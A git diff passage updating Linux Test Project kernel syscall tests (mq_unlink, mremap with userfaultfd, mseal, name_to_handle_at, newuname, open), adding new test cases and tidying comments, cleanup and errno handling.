baca5794..1cfffb08 100644 --- a/ltp/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c +++ b/ltp/testcases/kernel/syscalls/mq_unlink/mq_unlink01.c @@ -14,10 +14,9 @@ #include "tst_test.h" #include "tst_safe_posix_ipc.h" -#define QUEUE_NAME "/test_mqueue" - static uid_t euid; static struct passwd *pw; +static char queue_name[64]; struct test_case { int as_nobody; @@ -28,13 +27,11 @@ struct test_case { static struct test_case tcase[] = { { - .qname = QUEUE_NAME, .ret = 0, .err = 0, }, { .as_nobody = 1, - .qname = QUEUE_NAME, .ret = -1, .err = EACCES, }, @@ -64,6 +61,9 @@ static struct test_case tcase[] = { void setup(void) { + snprintf(queue_name, sizeof(queue_name), "/test_mqueue_%d", getpid()); + tcase[0].qname = queue_name; + tcase[1].qname = queue_name; euid = geteuid(); pw = SAFE_GETPWNAM("nobody"); } @@ -79,10 +79,10 @@ static void do_test(unsigned int i) * When test ended with SIGTERM etc, mq descriptor is left remains. * So we delete it first. */ - mq_unlink(QUEUE_NAME); + mq_unlink(queue_name); /* prepare */ - fd = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL); + fd = SAFE_MQ_OPEN(queue_name, O_CREAT | O_EXCL | O_RDWR, S_IRWXU, NULL); if (tc->as_nobody && seteuid(pw->pw_uid)) { tst_res(TFAIL | TERRNO, "seteuid failed"); @@ -107,7 +107,7 @@ EXIT: if (fd > 0 && close(fd)) tst_res(TWARN | TERRNO, "close(fd) failed"); - mq_unlink(QUEUE_NAME); + mq_unlink(queue_name); } static struct tst_test test = { diff --git a/ltp/testcases/kernel/syscalls/mremap/.gitignore b/ltp/testcases/kernel/syscalls/mremap/.gitignore index ec15a19c..292899e0 100644 --- a/ltp/testcases/kernel/syscalls/mremap/.gitignore +++ b/ltp/testcases/kernel/syscalls/mremap/.gitignore @@ -4,3 +4,4 @@ /mremap04 /mremap05 /mremap06 +/mremap07 diff --git a/ltp/testcases/kernel/syscalls/mremap/Makefile b/ltp/testcases/kernel/syscalls/mremap/Makefile index 9f5aca9e..8811b887 100644 --- a/ltp/testcases/kernel/syscalls/mremap/Makefile +++ b/ltp/testcases/kernel/syscalls/mremap/Makefile @@ -8,5 +8,6 @@ LTPLIBS = ipc include $(top_srcdir)/include/mk/testcases.mk mremap04: LTPLDLIBS = -lltpipc +mremap07: LDLIBS += -lpthread include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/kernel/syscalls/mremap/mremap01.c b/ltp/testcases/kernel/syscalls/mremap/mremap01.c index 4c795fee..8c241d45 100644 --- a/ltp/testcases/kernel/syscalls/mremap/mremap01.c +++ b/ltp/testcases/kernel/syscalls/mremap/mremap01.c @@ -82,7 +82,7 @@ #include <fcntl.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TEMPFILE "mremapfile" diff --git a/ltp/testcases/kernel/syscalls/mremap/mremap05.c b/ltp/testcases/kernel/syscalls/mremap/mremap05.c index d85ebb06..971cc8e5 100644 --- a/ltp/testcases/kernel/syscalls/mremap/mremap05.c +++ b/ltp/testcases/kernel/syscalls/mremap/mremap05.c @@ -41,7 +41,7 @@ #include <errno.h> #include <unistd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "mremap05"; diff --git a/ltp/testcases/kernel/syscalls/mremap/mremap07.c b/ltp/testcases/kernel/syscalls/mremap/mremap07.c new file mode 100644 index 00000000..a43510bc --- /dev/null +++ b/ltp/testcases/kernel/syscalls/mremap/mremap07.c @@ -0,0 +1,167 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 Wei Gao <wegao@suse.com> + */ + +/*\ + * LTP test case for mremap() with MREMAP_DONTUNMAP and userfaultfd. + * + * Test mremap() with MREMAP_DONTUNMAP and verify that accessing the + * old memory region triggers a page fault, which is then correctly + * handled by a userfaultfd handler. + */ + +#define _GNU_SOURCE +#include <poll.h> +#include <pthread.h> + +#include "tst_test.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" +#include "lapi/mmap.h" + +static int page_size; +static int uffd = -1; +static char *old_addr; +static char *new_addr; + +#define TEST_STRING_A "ABCD" +#define TEST_STRING_B "EFGH" + +static void *fault_handler_thread(void *arg LTP_ATTRIBUTE_UNUSED) +{ + struct uffd_msg msg; + struct uffdio_copy uffdio_copy; + struct pollfd pollfd = { .fd = uffd, .events = POLLIN }; + + TST_CHECKPOINT_WAIT(0); + + if (poll(&pollfd, 1, -1) == -1) + tst_brk(TBROK | TERRNO, "poll() failed"); + + SAFE_READ(1, uffd, &msg, sizeof(msg)); + + if (msg.event != UFFD_EVENT_PAGEFAULT) + tst_brk(TBROK, "Received unexpected UFFD_EVENT: %d", msg.event); + + if (msg.arg.pagefault.address != (unsigned long)old_addr) + tst_brk(TBROK, "Page fault on unexpected address: %p", + (void *)msg.arg.pagefault.address); + + tst_res(TINFO, "Userfaultfd handler caught a page fault at %p", + (void *)msg.arg.pagefault.address); + + uffdio_copy.src = (unsigned long)new_addr; + uffdio_copy.dst = (unsigned long)old_addr; + uffdio_copy.len = page_size; + uffdio_copy.mode = 0; + uffdio_copy.copy = 0; + + SAFE_IOCTL(uffd, UFFDIO_COPY, &uffdio_copy); + tst_res(TPASS, "Userfaultfd handler successfully handled the fault"); + + return NULL; +} + +static void check_mremap_dontunmap(void) +{ + char *test = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + char *tmp = mremap(test, page_size, page_size, + MREMAP_DONTUNMAP | MREMAP_MAYMOVE, NULL); + + if (tmp == MAP_FAILED) { + if (errno == EINVAL) + tst_brk(TCONF | TERRNO, + "MREMAP_DONTUNMAP not supported"); + tst_brk(TBROK | TERRNO, "mremap failed"); + } + + SAFE_MUNMAP(tmp, page_size); + SAFE_MUNMAP(test, page_size); +} + +static void setup(void) +{ + struct uffdio_api uffdio_api; + struct uffdio_register uffdio_register; + + page_size = getpagesize(); + check_mremap_dontunmap(); + uffd = SAFE_USERFAULTFD(O_CLOEXEC | O_NONBLOCK, true); + + uffdio_api.api = UFFD_API; + uffdio_api.features = 0; + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + old_addr = SAFE_MMAP(NULL, page_size, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, + -1, 0); + + tst_res(TINFO, "Original mapping created at %p", (void *)old_addr); + + memcpy(old_addr, TEST_STRING_A, sizeof(TEST_STRING_A)); + + uffdio_register.range.start = (unsigned long)old_addr; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); +} + +static void cleanup(void) +{ + if (new_addr && new_addr != MAP_FAILED) + SAFE_MUNMAP(new_addr, page_size); + + if (old_addr && old_addr != MAP_FAILED) + SAFE_MUNMAP(old_addr, page_size); + + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void run(void) +{ + new_addr = NULL; + pthread_t handler_thread; + + SAFE_PTHREAD_CREATE(&handler_thread, NULL, + fault_handler_thread, NULL); + + new_addr = mremap(old_addr, page_size, page_size, + MREMAP_DONTUNMAP | MREMAP_MAYMOVE, NULL); + if (new_addr == MAP_FAILED) + tst_brk(TBROK | TERRNO, "mremap failed"); + + tst_res(TINFO, "New mapping created at %p", (void *)new_addr); + + TST_EXP_EQ_STR(new_addr, TEST_STRING_A); + memcpy(new_addr, TEST_STRING_B, sizeof(TEST_STRING_B)); + + TST_CHECKPOINT_WAKE(0); + + tst_res(TINFO, "Main thread accessing old address %p to trigger fault", + (void *)old_addr); + + (void)*(volatile char *)old_addr; + + SAFE_PTHREAD_JOIN(handler_thread, NULL); + + TST_EXP_EQ_STR(old_addr, TEST_STRING_B); + + SAFE_MUNMAP(new_addr, page_size); + memcpy(old_addr, TEST_STRING_A, sizeof(TEST_STRING_A)); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_checkpoints = 1, + .cleanup = cleanup, + .needs_kconfigs = (const char *[]) { + "CONFIG_USERFAULTFD=y", + NULL, + }, +}; diff --git a/ltp/testcases/kernel/syscalls/mseal/mseal02.c b/ltp/testcases/kernel/syscalls/mseal/mseal02.c index e11d7dbf..d615ac2e 100644 --- a/ltp/testcases/kernel/syscalls/mseal/mseal02.c +++ b/ltp/testcases/kernel/syscalls/mseal/mseal02.c @@ -29,20 +29,22 @@ static struct tcase { size_t *len; unsigned long flags; int exp_err; + int compat_err; } tcases[] = { - {&start_addr, &page_size, ULONG_MAX, EINVAL}, - {&unaligned_start_addr, &page_size, 0, EINVAL}, - {&start_addr, &overflow_size, 0, EINVAL}, - {&unallocated_start_addr, &twopages_size, 0, ENOMEM}, - {&unallocated_end_addr, &twopages_size, 0, ENOMEM}, - {&start_addr, &fourpages_size, 0, ENOMEM}, + {.addr = &start_addr, .len = &page_size, .flags = ULONG_MAX, .exp_err = EINVAL}, + {.addr = &unaligned_start_addr, .len = &page_size, .exp_err = EINVAL}, + {.addr = &start_addr, .len = &overflow_size, .exp_err = EINVAL, .compat_err = ENOMEM}, + {.addr = &unallocated_start_addr, .len = &twopages_size, .exp_err = ENOMEM}, + {.addr = &unallocated_end_addr, .len = &twopages_size, .exp_err = ENOMEM}, + {.addr = &start_addr, .len = &fourpages_size, .exp_err = ENOMEM}, }; static void run(unsigned int n) { struct tcase *tc = &tcases[n]; + int exp_err = tc->compat_err && tst_is_compat_mode() ? tc->compat_err : tc->exp_err; - TST_EXP_FAIL(tst_syscall(__NR_mseal, *tc->addr, *tc->len, tc->flags), tc->exp_err, + TST_EXP_FAIL(tst_syscall(__NR_mseal, *tc->addr, *tc->len, tc->flags), exp_err, "mseal(%p, %lu, %lu)", *tc->addr, *tc->len, tc->flags); } diff --git a/ltp/testcases/kernel/syscalls/msync/msync03.c b/ltp/testcases/kernel/syscalls/msync/msync03.c index f79458b9..faa1457d 100644 --- a/ltp/testcases/kernel/syscalls/msync/msync03.c +++ b/ltp/testcases/kernel/syscalls/msync/msync03.c @@ -44,7 +44,7 @@ #include <sys/resource.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define INV_SYNC -1 #define TEMPFILE "msync_file" diff --git a/ltp/testcases/kernel/syscalls/munmap/munmap04.c b/ltp/testcases/kernel/syscalls/munmap/munmap04.c index e1b67aee..6ccf25b3 100644 --- a/ltp/testcases/kernel/syscalls/munmap/munmap04.c +++ b/ltp/testcases/kernel/syscalls/munmap/munmap04.c @@ -75,6 +75,10 @@ static struct tst_test test = { .cleanup = cleanup, .needs_root = 1, .min_kver = "4.17", + .ulimit = (const struct tst_ulimit_val[]) { + {RLIMIT_AS, RLIM_INFINITY}, + {} + }, .save_restore = (const struct tst_path_val[]){ { "/proc/sys/vm/max_map_count", TST_TO_STR(MAP_MAX_COUNT), TST_SR_SKIP }, {}, diff --git a/ltp/testcases/kernel/syscalls/name_to_handle_at/.gitignore b/ltp/testcases/kernel/syscalls/name_to_handle_at/.gitignore index 268a8a34..af1817d4 100644 --- a/ltp/testcases/kernel/syscalls/name_to_handle_at/.gitignore +++ b/ltp/testcases/kernel/syscalls/name_to_handle_at/.gitignore @@ -1,2 +1,3 @@ name_to_handle_at01 name_to_handle_at02 +name_to_handle_at03 diff --git a/ltp/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at03.c b/ltp/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at03.c new file mode 100644 index 00000000..d1f53c39 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/name_to_handle_at/name_to_handle_at03.c @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/*\ + * name_to_handle_at() tests for AT_HANDLE_FID handles. + */ + +#define _GNU_SOURCE +#include <sys/stat.h> +#include "lapi/name_to_handle_at.h" + +#define TEST_FILE "test_file" + +static int fd_atcwd = AT_FDCWD; +static struct file_handle *fhp; + +static struct tcase { + const char *name; + int *dfd; + const char *pathname; + int name_flags; + int exp_errno; +} tcases[] = { + {"test-file", &fd_atcwd, TEST_FILE, AT_HANDLE_FID, 0}, + {"unexportable-file", &fd_atcwd, "/proc/filesystems", AT_HANDLE_FID, 0}, + {"test-file-connectable", &fd_atcwd, TEST_FILE, AT_HANDLE_FID | AT_HANDLE_CONNECTABLE, EINVAL}, +}; + +static bool handle_type_supported(unsigned int flag, const char *name) +{ + /* + * For kernels which don't support the flag, name_to_handle_at() + * returns EINVAL, otherwise we should get back EBADF because dirfd is + * invalid. + */ + if (name_to_handle_at(-1, ".", NULL, NULL, flag) && errno == EINVAL) { + tst_brk(TCONF, "%s not supported by the kernel.", name); + return false; + } + return true; +} + +#define REQUIRE_HANDLE_TYPE_SUPPORT(flag) handle_type_supported(flag, #flag) + +static void setup(void) +{ + SAFE_TOUCH(TEST_FILE, 0600, NULL); + fhp = malloc(MAX_HANDLE_SZ); + if (!fhp) + tst_brk(TBROK, "malloc failed"); + + REQUIRE_HANDLE_TYPE_SUPPORT(AT_HANDLE_FID); + REQUIRE_HANDLE_TYPE_SUPPORT(AT_HANDLE_CONNECTABLE); +} + +static void run(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + int mount_id; + + fhp->handle_bytes = MAX_HANDLE_SZ; + TEST(name_to_handle_at(*tc->dfd, tc->pathname, fhp, &mount_id, + tc->name_flags)); + if (!tc->exp_errno) { + if (TST_RET) + tst_res(TFAIL | TTERRNO, "%s: name_to_handle_at() failed", tc->name); + else + tst_res(TPASS, "%s: name_to_handle_at() passed", tc->name); + return; + } + + if (TST_RET != -1) + tst_res(TFAIL, "%s: name_to_handle_at() unexpectedly succeeded", tc->name); + else if (TST_ERR != tc->exp_errno) + tst_res(TFAIL | TTERRNO, "%s: name_to_handle_at() should fail with errno %s", + tc->name, tst_strerrno(tc->exp_errno)); + else + tst_res(TPASS, "%s: name_to_handle_at() failed as expected", tc->name); +} + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .test = run, + .setup = setup, + .needs_tmpdir = 1, + .tags = (const struct tst_tag[]) { + {"linux-git", "48b77733d0db"}, + {} + }, +}; diff --git a/ltp/testcases/kernel/syscalls/newuname/newuname01.c b/ltp/testcases/kernel/syscalls/newuname/newuname01.c index 2b9349e3..995ea978 100644 --- a/ltp/testcases/kernel/syscalls/newuname/newuname01.c +++ b/ltp/testcases/kernel/syscalls/newuname/newuname01.c @@ -1,161 +1,53 @@ -/******************************************************************************/ -/* Copyright (c) Crackerjack Project., 2007 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* File: newuname01.c */ -/* */ -/* Description: This tests the newuname() syscall */ -/* */ -/* Usage: <for command-line> */ -/* newuname01 [-c n] [-e][-i n] [-I x] [-p x] [-t] */ -/* where, -c n : Run n copies concurrently. */ -/* -e : Turn on errno logging. */ -/* -i n : Execute test n times. */ -/* -I x : Execute test for x seconds. */ -/* -P x : Pause for x seconds between iterations. */ -/* -t : Turn on syscall timing. */ -/* */ -/* Total Tests: 1 */ -/* */ -/* Test Name: newuname01 */ -/* History: Porting from Crackerjack to LTP is done by */ -/* Manas Kumar Nayak maknayak@in.ibm.com> */ -/******************************************************************************/ -#include <unistd.h> +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Linux Test Project, 2024 + * Copyright (c) 2026 Cyril Hrubis <chrubis@suse.cz> + */ + +/*\ + * Verify that :manpage:`uname(2)` succeeds and correctly identifies the system + * as Linux. The rest of the values, when possible, are matched againts the + * strings from /proc/sys/kernel/. The only value we cannot easily assert is + * the machine field which is the architecture the kernel was compiled for, + * which would require special handling per each architecture. + */ + +#define _GNU_SOURCE #include <sys/utsname.h> -#include <errno.h> -#include <stdio.h> -#include <sys/stat.h> -#include <stdlib.h> - -#include "test.h" +#include "tst_test.h" #include "lapi/syscalls.h" -char *TCID = "newuname01"; -int testno; -int TST_TOTAL = 1; +static struct utsname *name; -/* Extern Global Functions */ -/******************************************************************************/ -/* */ -/* Function: cleanup */ -/* */ -/* Description: Performs all one time clean up for this test on successful */ -/* completion, premature exit or failure. Closes all temporary */ -/* files, removes all temporary directories exits the test with */ -/* appropriate return code by calling tst_exit() function. */ -/* */ -/* Input: None. */ -/* */ -/* Output: None. */ -/* */ -/* Return: On failure - Exits calling tst_exit(). Non '0' return code. */ -/* On success - Exits calling tst_exit(). With '0' return code. */ -/* */ -/******************************************************************************/ -void cleanup(void) +static void run(void) { + char proc_val[1024] = {}; - tst_rmdir(); + TST_EXP_PASS(tst_syscall(__NR_uname, name), "uname(name)"); - tst_exit(); -} + if (!TST_PASS) + return; -/* Local Functions */ -/******************************************************************************/ -/* */ -/* Function: setup */ -/* */ -/* Description: Performs all one time setup for this test. This function is */ -/* typically used to capture signals, create temporary dirs */ -/* and temporary files that may be used in the course of this */ -/* test. */ -/* */ -/* Input: None. */ -/* */ -/* Output: None. */ -/* */ -/* Return: On failure - Exits by calling cleanup(). */ -/* On success - returns 0. */ -/* */ -/******************************************************************************/ -void setup(void) -{ - /* Capture signals if any */ - /* Create temporary directories */ - TEST_PAUSE; - tst_tmpdir(); -} + TST_EXP_EQ_STR(name->sysname, "Linux"); -int main(int ac, char **av) -{ - struct utsname name; - int lc; + SAFE_FILE_READ_STR("/proc/sys/kernel/hostname", proc_val, sizeof(proc_val)); + TST_EXP_EQ_STR(name->nodename, proc_val); - tst_parse_opts(ac, av, NULL, NULL); + SAFE_FILE_READ_STR("/proc/sys/kernel/osrelease", proc_val, sizeof(proc_val)); + TST_EXP_EQ_STR(name->release, proc_val); - setup(); + SAFE_FILE_READ_STR("/proc/sys/kernel/version", proc_val, sizeof(proc_val)); + TST_EXP_EQ_STR(name->version, proc_val); - for (lc = 0; TEST_LOOPING(lc); ++lc) { - tst_count = 0; - for (testno = 0; testno < TST_TOTAL; ++testno) { - TEST(tst_syscall(__NR_uname, &name)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL, cleanup, "%s failed - errno = %d : %s", - TCID, TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "newuname call succeed: return value = %ld ", - TEST_RETURN); - TEST(strcmp(name.sysname, "Linux")); //Linux ? - if (TEST_RETURN == 0) { - tst_resm(TINFO, "This system is %s", - name.sysname); - tst_resm(TINFO, - "The system infomation is :"); - tst_resm(TINFO, - "System is %s on %s hardware", - name.sysname, name.machine); - - tst_resm(TINFO, "Nodename is %s", - name.nodename); - tst_resm(TINFO, "Version is %s, %s", - name.release, name.version); - tst_resm(TINFO, "Domainname is %s ", - *(&name.machine + 1)); - cleanup(); - tst_exit(); - } else { - tst_resm(TFAIL, - "%s failed - errno = %d : %s", - TCID, TEST_ERRNO, - strerror(TEST_ERRNO)); - tst_resm(TINFO, - "This system is not Linux"); - cleanup(); - tst_exit(); - } - - } + SAFE_FILE_READ_STR("/proc/sys/kernel/domainname", proc_val, sizeof(proc_val)); + TST_EXP_EQ_STR(name->domainname, proc_val); +} - } +static struct tst_test test = { + .test_all = run, + .bufs = (struct tst_buffers []) { + {&name, .size = sizeof(*name)}, + {} } - tst_exit(); -} +}; diff --git a/ltp/testcases/kernel/syscalls/open/open01.c b/ltp/testcases/kernel/syscalls/open/open01.c index baf73ab1..1cefb479 100644 --- a/ltp/testcases/kernel/syscalls/open/open01.c +++ b/ltp/testcases/kernel/syscalls/open/open01.c @@ -1,20 +1,17 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) International Business Machines Corp., 2001 * Ported to LTP: Wayne Boyer - * 06/2017 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com> + * 06/2017 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com> */ -/* - * DESCRIPTION - * Open a file with oflag = O_CREAT set, does it set the sticky bit off? - * Open a dir with O_DIRECTORY, does it set the S_IFDIR bit on? +/*\ + * Basic :manpage:`open(2)` test, checking sticky/directory bit. * - * ALGORITHM - * 1. open a new file with O_CREAT, fstat.st_mode should not have the - * 01000 bit on. In Linux, the save text bit is *NOT* cleared. - * 2. open a new dir with O_DIRECTORY, fstat.st_mode should have the - * 040000 bit on. + * 1. Open a new file with O_CREAT, fstat.st_mode should not have the + * 01000 (S_ISVTX) bit on. In Linux, the save text bit is *NOT* cleared. + * 2. Open a new directory with O_DIRECTORY, fstat.st_mode should have the + * 040000 (S_IFDIR) bit on. */ #define _GNU_SOURCE /* for O_DIRECTORY */ @@ -37,7 +34,7 @@ static struct tcase { char *desc; } tcases[] = { {TEST_FILE, O_RDWR | O_CREAT, 01444, S_ISVTX, "sticky bit"}, - {TEST_DIR, O_DIRECTORY, 0, S_IFDIR, "sirectory bit"} + {TEST_DIR, O_DIRECTORY, 0, S_IFDIR, "directory bit"} }; static void verify_open(unsigned int n) @@ -46,7 +43,7 @@ static void verify_open(unsigned int n) struct stat buf; TST_EXP_FD_SILENT(open(tc->filename, tc->flag, tc->mode), - "open() with %s", tc->desc); + "open() with %s", tc->desc); if (!TST_PASS) return; diff --git a/ltp/testcases/kernel/syscalls/open/open02.c b/ltp/testcases/kernel/syscalls/open/open02.c index e1c5cc5d..d042406d 100644 --- a/ltp/testcases/kernel/syscalls/open/open02.c +++ b/ltp/testcases/kernel/syscalls/open/open02.c @@ -2,12 +2,12 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Ported to LTP: Wayne Boyer - * 06/2017 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com> + * 06/2017 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com> */ /*\ - * 1. open a new file without O_CREAT, ENOENT should be returned. - * 2. open a file with O_RDONLY | O_NOATIME and the caller was not + * 1. Open a new file without O_CREAT, ENOENT should be returned. + * 2. Open a file with O_RDONLY | O_NOATIME and the caller was not * privileged, EPERM should be returned. */ @@ -29,7 +29,7 @@ static struct tcase { {TEST_FILE2, O_RDONLY | O_NOATIME, EPERM, "unprivileged O_RDONLY | O_NOATIME"}, }; -void setup(void) +static void setup(void) { struct passwd *ltpuser; @@ -45,10 +45,10 @@ static void verify_open(unsigned int n) struct tcase *tc = &tcases[n]; TST_EXP_FAIL2(open(tc->filename, tc->flag, 0444), - tc->exp_errno, "open() %s", tc->desc); + tc->exp_errno, "open() %s", tc->desc); } -void cleanup(void) +static void cleanup(void) { SAFE_SETEUID(0); } diff --git a/ltp/testcases/kernel/syscalls/open/open03.c b/ltp/testcases/kernel/syscalls/open/open03.c index 275ca84f..57c31037 100644 --- a/ltp/testcases/kernel/syscalls/open/open03.c +++ b/ltp/testcases/kernel/syscalls/open/open03.c @@ -1,11 +1,10 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) Linux Test Project, 2001-2022 * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. */ /*\ - * Testcase to check open() with O_RDWR | O_CREAT. + * Test :manpage:`open(2)` with O_RDWR | O_CREAT. */ #include "tst_test.h" @@ -19,8 +18,6 @@ static void verify_open(void) SAFE_UNLINK(TEST_FILE); } - - static struct tst_test test = { .needs_tmpdir = 1, .test_all = verify_open, diff --git a/ltp/testcases/kernel/syscalls/open/open04.c b/ltp/testcases/kernel/syscalls/open/open04.c index 3dc3486d..6ec18cbf 100644 --- a/ltp/testcases/kernel/syscalls/open/open04.c +++ b/ltp/testcases/kernel/syscalls/open/open04.c @@ -5,7 +5,7 @@ */ /*\ - * Verify that open(2) fails with EMFILE when per-process limit on the number + * Verify that :manpage:`open(2)` fails with EMFILE when per-process limit on the number * of open file descriptors has been reached. */ @@ -15,22 +15,26 @@ #define FNAME "open04" -static int fds_limit, first, i; +static int fds_limit; +static int first = -1; static int *fds; -static char fname[20]; +static char fname[PATH_MAX]; static void setup(void) { int fd; + struct rlimit rlim; - fds_limit = getdtablesize(); + SAFE_GETRLIMIT(RLIMIT_NOFILE, &rlim); + fds_limit = rlim.rlim_cur; first = SAFE_OPEN(FNAME, O_RDWR | O_CREAT, 0777); fds = SAFE_MALLOC(sizeof(int) * (fds_limit - first)); + memset(fds, -1, sizeof(int) * (fds_limit - first)); fds[0] = first; - for (i = first + 1; i < fds_limit; i++) { - sprintf(fname, FNAME ".%d", i); + for (int i = first + 1; i < fds_limit; i++) { + snprintf(fname, sizeof(fname), FNAME ".%d", i); fd = open(fname, O_RDWR | O_CREAT, 0777); if (fd == -1) { if (errno != EMFILE) @@ -44,20 +48,22 @@ static void setup(void) static void run(void) { - sprintf(fname, FNAME ".%d", fds_limit); + snprintf(fname, sizeof(fname), FNAME ".%d", fds_limit); TST_EXP_FAIL2(open(fname, O_RDWR | O_CREAT, 0777), EMFILE); } static void cleanup(void) { - if (!first || !fds) - return; + if (first >= 0 && fds) { + int limit = fds_limit - first; - for (i = first; i < fds_limit; i++) - SAFE_CLOSE(fds[i - first]); + for (int i = 0; i < limit; i++) { + if (fds[i] != -1) + SAFE_CLOSE(fds[i]); + } + } - if (fds) - free(fds); + free(fds); } static struct tst_test test = { diff --git a/ltp/testcases/kernel/syscalls/open/open06.c b/ltp/testcases/kernel/syscalls/open/open06.c index 7b5bd624..b2a07f78 100644 --- a/ltp/testcases/kernel/syscalls/open/open06.c +++ b/ltp/testcases/kernel/syscalls/open/open06.c @@ -6,7 +6,7 @@ */ /*\ - * Verify that open(2) fails with ENXIO when + * Verify that :manpage:`open(2)` fails with ENXIO when * O_NONBLOCK | O_WRONLY is set, the named file is a FIFO, * and no process has the FIFO open for reading. */ diff --git a/ltp/testcases/kernel/syscalls/open/open07.c b/ltp/testcases/kernel/syscalls/open/open07.c index a03d7511..756c86ad 100644 --- a/ltp/testcases/kernel/syscalls/open/open07.c +++ b/ltp/testcases/kernel/syscalls/open/open07.c @@ -1,12 +1,13 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * 07/2001 Ported by Wayne Boyer + * 07/2001 Ported by Wayne Boyer * Copyright (c) 2024 SUSE LLC <mdoucha@suse.cz> */ /*\ - * Test functionality and error conditions of open(O_NOFOLLOW) system call. + * Test functionality and error conditions of :manpage:`open(2)` called with + * O_NOFOLLOW. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/open/open08.c b/ltp/testcases/kernel/syscalls/open/open08.c index a4906815..67911be2 100644 --- a/ltp/testcases/kernel/syscalls/open/open08.c +++ b/ltp/testcases/kernel/syscalls/open/open08.c @@ -5,7 +5,7 @@ */ /*\ - * Verify that open() fails with: + * Verify that :manpage:`open(2)` fails with: * * - EEXIST when pathname already exists and O_CREAT and O_EXCL were used * - EISDIR when pathname refers to a directory and the access requested diff --git a/ltp/testcases/kernel/syscalls/open/open09.c b/ltp/testcases/kernel/syscalls/open/open09.c index 36158b3c..bd3ceafd 100644 --- a/ltp/testcases/kernel/syscalls/open/open09.c +++ b/ltp/testcases/kernel/syscalls/open/open09.c @@ -7,8 +7,10 @@ */ /*\ - * This test verifies that a file opened with O_RDONLY can't be writable - * and it verifies that a file opened with O_WRONLY can't be readable. + * Basic :manpage:`open(2)` test for O_RDONLY: + * + * 1. File opened with O_RDONLY can't be writable. + * 2. File opened with O_WRONLY can't be readable. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/open/open10.c b/ltp/testcases/kernel/syscalls/open/open10.c index 5e27a75d..8ad98432 100644 --- a/ltp/testcases/kernel/syscalls/open/open10.c +++ b/ltp/testcases/kernel/syscalls/open/open10.c @@ -5,7 +5,7 @@ */ /*\ * Verify that the group ID and setgid bit are set correctly when a new file - * is created. + * is created with :manpage:`open(2)`. */ #include <stdlib.h> diff --git a/ltp/testcases/kernel/syscalls/open/open11.c b/ltp/testcases/kernel/syscalls/open/open11.c index 6f89d558..2ed79ecc 100644 --- a/ltp/testcases/kernel/syscalls/open/open11.c +++ b/ltp/testcases/kernel/syscalls/open/open11.c @@ -5,10 +5,7 @@ */ /*\ - * Basic tests for open(2) and make sure open(2) works and handles error - * conditions correctly. - * - * There are 28 test cases: + * Test if :manpage:`open(2)` handles error * conditions correctly. * * 1. Open regular file O_RDONLY * 2. Open regular file O_WRONLY @@ -269,10 +266,10 @@ static void verify_open(unsigned int n) { if (tc[n].err > 0) { TST_EXP_FAIL2(open(tc[n].path, tc[n].flags, tc[n].mode), - tc[n].err, "%s", tc[n].desc); + tc[n].err, "%s", tc[n].desc); } else if (tc[n].err == 0) { TST_EXP_FD(open(tc[n].path, tc[n].flags, tc[n].mode), - "%s", tc[n].desc); + "%s", tc[n].desc); } else { TEST(open(tc[n].path, tc[n].flags, tc[n].mode)); tst_res(TPASS, "%s", tc[n].desc); diff --git a/ltp/testcases/kernel/syscalls/open/open12.c b/ltp/testcases/kernel/syscalls/open/open12.c index 515e18cb..14a9bd47 100644 --- a/ltp/testcases/kernel/syscalls/open/open12.c +++ b/ltp/testcases/kernel/syscalls/open/open12.c @@ -5,8 +5,8 @@ * Copyright (c) 2025 SUSE LLC <mdoucha@suse.cz> */ /*\ - * This test case will verify basic function of open(2) with the 